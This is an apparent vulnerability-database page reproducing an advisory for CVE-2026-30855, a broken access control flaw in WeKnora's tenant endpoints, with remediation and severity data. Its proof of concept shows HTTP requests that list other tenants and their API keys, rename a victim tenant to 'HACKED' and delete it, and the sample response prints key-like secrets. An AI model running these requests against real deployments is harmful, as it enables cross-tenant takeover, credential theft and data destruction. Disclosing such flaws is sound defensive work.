CVE-2026-30855 — Vulnerability in github.com/Tencent/WeKnora
WeKnora Vulnerable to Broken Access Control in Tenant Management
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.53%). Schedule for your next planned update.
Does your project use an affected github.com/Tencent/WeKnora version?
Paste your go.sum to check it for CVE-2026-30855 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
An authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical.
Details
The tenant management handlers do not validate that the caller owns the tenant or has cross-tenant privileges. The handlers parse the tenant ID from the path and directly call the service layer with that ID, returning or mutating the tenant without authorization checks.
Affected handlers:
GET /api/v1/tenantslists all tenants without ownership checksGET /api/v1/tenants/{id}reads any tenant by ID without ownership checksPUT /api/v1/tenants/{id}allows updating any tenant by ID without ownership checksDELETE /api/v1/tenants/{id}allows deleting any tenant by ID without ownership checks
These endpoints do not enforce cross-tenant permissions or deny-by-default behavior, unlike ListAllTenants and SearchTenants.
PoC
-
Register a new account as a user in Tenant 10025 and obtain a bearer token or API key.
-
Read details of other tenants:
-
Request that uses API key via the
X-API-Keyheader:GET /api/v1/tenants HTTP/1.1 Host: localhost Connection: keep-alive X-Request-ID: 2TpH2S0sHyi1 X-API-Key: sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd sec-ch-ua-platform: "macOS" User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Accept: application/json, text/plain, */* sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144" sec-ch-ua-mobile: ?0 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://weknora.serviceme.top/platform/knowledge-bases Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 -
Response (truncated for brevity):
HTTP/1.1 200 OK Server: nginx/1.28.0 Date: Fri, 06 Feb 2026 03:12:22 GMT Content-Type: application/json; charset=utf-8 Connection: close X-Request-Id: 2TpH2S0sHyi1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: strict-origin-when-cross-origin { "data": { "items": [ { "id": 10025, "name": "injokerr's Workspace", "api_key": "sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd", "status": "active" }, { "id": 10001, "name": "viaim_yuweilong", "api_key": "sk-hocFTPZIYW9ixuUNbFidgSQ5eciSVcJkzE8Ns3BI6Ev-8cFe", "status": "active" } ] }, "success": true } ...
With API keys, we can do anything on the victim account's behalf, including reading sensitive data (LLM API keys, knowledge bases), modifying configurations, etc.
Requests to perform modification and deletion of another tenant.
- Modify the victim tenant:
-
Request:
- Method:
PUT - URL:
http://localhost:8088/api/v1/tenants/10001 - Header:
Authorization: Bearer <ATTACKER_TOKEN> - Body:
{ "name": "HACKED by tenant 10025" }
- Method:
-
Expected response:
200 OKwith the updated tenant object.
- Delete the victim tenant:
-
Request:
- Method:
DELETE - URL:
http://localhost:8088/api/v1/tenants/10001 - Header:
Authorization: Bearer <ATTACKER_TOKEN>
- Method:
-
Expected response:
200 OKand the tenant is deleted.
Impact
This is a Broken Access Control (BOLA/IDOR) vulnerability in tenant management of WeKnora. Any user can access, modify, or delete tenants belonging to other customers, resulting in cross-tenant data exposure, account takeover, and destructive actions against other tenants. Moreover, when the account is taken over, attacker can read configured models to unauthorizedly extract sensitive data such as API keys of LLM services.
Advisory Timeline
- First published March 6, 2026 (266 days ago).
- Last revised March 23, 2026 — 16 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
go get github.com/Tencent/WeKnora@v0.3.2
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Go (1).
| Package | Fixed In |
|---|---|
| github.com/Tencent/WeKnora Go · Affected: All versions | 0.3.2 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-284
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
References
Frequently Asked Questions
- What is CVE-2026-30855?
- WeKnora Vulnerable to Broken Access Control in Tenant Management. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
- How do I check if my project is affected by CVE-2026-30855?
- CVE-2026-30855 affects github.com/Tencent/WeKnora. It has a 0.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-30855 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 38.5% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-104099CRITICAL
Fabio: Access-control bypass through unnormalized request paths
- CVE-2026-22688CRITICAL
WeKnora has Command Injection in MCP stdio test
- CVE-2026-30860CRITICAL
WeKnora Vulnerable to Remote Code Execution via SQL Injection Bypass in AI Database Query Tool
- CVE-2026-30861CRITICAL
WeKnora has Remote Code Execution (RCE) via Command Injection in MCP Stdio Configuration Validation
- CVE-2026-77369CRITICAL
Daptin: Broken Access Control (IDOR) in the generic YJS collaboration endpoint